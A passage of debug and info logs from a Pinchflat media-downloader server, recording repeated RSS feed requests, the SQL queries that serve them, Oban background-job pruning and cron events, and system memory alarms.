m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:16:02.001 [debug] QUERY OK source="source_metadata" db=20.5ms queue=0.1ms idle=628.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:16:02.002 [debug] QUERY OK source="media_metadata" db=0.7ms idle=409.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:16:02.015 [info] Sent 200 in 41ms 23:16:31.600 [info] {"source":"oban","duration":5263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.398 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:01.602 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:31.606 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.400 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:01.608 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:31.612 [info] {"source":"oban","duration":2216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.503 [info] {"source":"oban","duration":3157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:01.615 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:31.618 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:34.965 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:19:34.966 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:19:34.967 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1614.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:19:34.970 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1615.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:19:34.972 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1619.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:19:34.973 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=1280.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:19:34.974 [info] Sent 200 in 8ms 23:20:00.504 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:01.620 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:31.624 [info] {"source":"oban","duration":2399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.507 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:01.631 [info] {"source":"oban","duration":5043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:15.347 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:21:15.348 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:21:15.350 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=1996.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:21:15.352 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1312.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:21:15.354 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.3ms idle=1001.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:21:15.355 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.5ms idle=1001.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:21:15.356 [info] Sent 200 in 8ms 23:21:31.634 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.508 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:00.527 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:22:01.636 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:31.639 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.510 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:01.641 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:31.644 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.511 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:01.647 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:02.313 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:24:02.314 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:24:02.331 [debug] QUERY OK source="sources" db=16.4ms queue=0.1ms idle=914.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:24:02.357 [debug] QUERY OK source="media_items" db=1.3ms queue=0.3ms idle=955.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:24:02.359 [debug] QUERY OK source="source_metadata" db=0.3ms idle=958.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:24:02.360 [debug] QUERY OK source="media_metadata" db=0.7ms idle=880.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:24:02.361 [info] Sent 200 in 48ms 23:24:31.649 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.513 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:01.651 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:31.654 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.516 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:01.657 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:02.039 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:26:02.039 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:26:02.041 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1278.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:26:02.043 [debug] QUERY OK source="media_items" db=2.0ms idle=640.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:26:02.047 [debug] QUERY OK source="source_metadata" db=1.2ms idle=644.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:26:02.048 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=390.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:26:02.049 [info] Sent 200 in 9ms 23:26:31.659 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.517 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:00.562 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:27:01.661 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:31.663 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.519 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:01.666 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:31.671 [info] {"source":"oban","duration":3374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.521 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:01.674 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:31.676 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:32.774 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:29:32.775 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:29:32.776 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1360.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:29:32.779 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=1361.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:29:32.780 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1103.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:29:32.781 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=515.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:29:32.782 [info] Sent 200 in 7ms 23:30:00.522 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:01.678 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:31.681 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.524 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:01.686 [info] {"source":"oban","duration":4749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:12.584 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:31:12.584 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:31:12.586 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1168.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:31:12.588 [debug] QUERY OK source="media_items" db=1.6ms queue=0.4ms idle=1062.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:31:12.591 [debug] QUERY OK source="source_metadata" db=0.8ms idle=174.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:31:12.593 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.1ms idle=175.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:31:12.594 [info] Sent 200 in 10ms 23:31:31.690 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.526 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:00.598 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:32:01.692 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:31.694 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.528 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:01.696 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:31.699 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.529 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:01.701 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:31.703 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:49.761 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:34:49.762 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:34:49.764 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1311.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:34:49.766 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1313.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:34:49.768 [debug] QUERY OK source="source_metadata" db=0.6ms idle=581.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:34:49.769 [debug] QUERY OK source="media_metadata" db=0.2ms idle=317.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:34:49.817 [info] Sent 200 in 55ms 23:35:00.531 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:01.706 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:31.709 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.533 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:01.711 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:15.143 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:36:15.143 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:36:15.145 [debug] QUERY OK source="sources" db=0.7ms idle=1693.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:36:15.146 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=1694.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:36:15.148 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1696.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:36:15.150 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=743.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:36:15.150 [info] Sent 200 in 7ms 23:36:31.713 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.535 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:00.809 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:37:01.715 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:31.718 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.536 [info] 